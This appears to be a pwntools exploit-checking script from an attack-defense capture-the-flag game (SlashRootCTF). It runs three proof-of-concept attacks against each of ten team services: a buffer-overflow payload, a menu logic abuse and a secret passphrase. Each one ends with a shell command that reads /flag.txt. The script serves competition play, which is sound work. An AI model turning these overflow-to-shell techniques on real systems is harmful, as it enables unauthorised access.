Você não pode selecionar mais de 25 tópicos
Os tópicos devem começar com uma letra ou um número, podem incluir traços ('-') e podem ter até 35 caracteres.
103 linhas
2.7 KiB
103 linhas
2.7 KiB
#! /usr/bin/env python2
|
|
# from pwn import context, remote
|
|
from pwn import remote, context
|
|
from multiprocessing import pool
|
|
context.log_level = "error"
|
|
|
|
HOST = "192.168.2.20"
|
|
TOTAL_TEAMS = 10
|
|
FORMAT = "SlashRootCTF"
|
|
|
|
|
|
def poc0(host, port):
|
|
with remote(host, port) as p:
|
|
p.recvuntil(">")
|
|
p.sendline(("A" * 32) + ("\x11\x11\x11\x11\x11\x11\x11\x11\x01"))
|
|
msg = p.recvuntil(">")
|
|
# print(msg)
|
|
if "young" in msg:
|
|
p.sendline("y")
|
|
p.recvuntil(">")
|
|
p.sendline("2")
|
|
p.recvuntil(">")
|
|
p.sendline("4")
|
|
p.recvuntil(">")
|
|
p.sendline("y")
|
|
for _ in xrange(10):
|
|
p.recvuntil(">")
|
|
p.sendline("99")
|
|
p.sendline("cat /flag.txt")
|
|
flag = p.recvuntil("}")
|
|
# print flag
|
|
if FORMAT in flag:
|
|
return True
|
|
else:
|
|
return False
|
|
else:
|
|
return False
|
|
|
|
|
|
def poc1(host, port):
|
|
with remote(host, port) as p:
|
|
p.recvuntil(">")
|
|
p.sendline("Leo")
|
|
p.recvuntil(">")
|
|
p.sendline("y")
|
|
for _ in range(2):
|
|
p.recvuntil(">")
|
|
p.sendline("3")
|
|
p.recvuntil(">")
|
|
p.sendline("0")
|
|
if "Who" in p.recvuntil(">"):
|
|
return False
|
|
p.sendline("y")
|
|
p.recvuntil(">")
|
|
p.sendline("1")
|
|
p.recvuntil(">")
|
|
p.sendline("4")
|
|
p.recvuntil(">")
|
|
p.sendline("y")
|
|
for _ in range(10):
|
|
p.recvuntil(">")
|
|
p.sendline("99")
|
|
p.sendline("cat /flag.txt")
|
|
flag = p.recvuntil("}")
|
|
if FORMAT in flag:
|
|
return True
|
|
else:
|
|
return False
|
|
|
|
|
|
def poc2(host, port):
|
|
with remote(host, port) as p:
|
|
p.recvuntil(">")
|
|
p.sendline("__th3_w0rLd_D3str0Y3r_15_b4ck__")
|
|
p.recvuntil(">")
|
|
p.sendline("y")
|
|
p.recvuntil(">")
|
|
p.sendline("6")
|
|
if "Lv: 1000000" in p.recvuntil(">"):
|
|
p.sendline("2")
|
|
p.recvuntil(">")
|
|
p.sendline("4")
|
|
p.recvuntil(">")
|
|
p.sendline("y")
|
|
for _ in xrange(10):
|
|
p.recvuntil(">")
|
|
p.sendline("99")
|
|
p.sendline("cat /flag.txt")
|
|
flag = p.recvuntil("}")
|
|
if FORMAT in flag:
|
|
return True
|
|
else:
|
|
return False
|
|
else:
|
|
return False
|
|
|
|
|
|
if __name__ == "__main__":
|
|
for i in range(1, TOTAL_TEAMS+1):
|
|
r0 = poc0(HOST, (60004 + (i*100)))
|
|
r1 = poc1(HOST, (60004 + (i*100)))
|
|
r2 = poc2(HOST, (60004 + (i*100)))
|
|
print("Team [%s] %s %s %s" % (i, r0, r1, r2))
|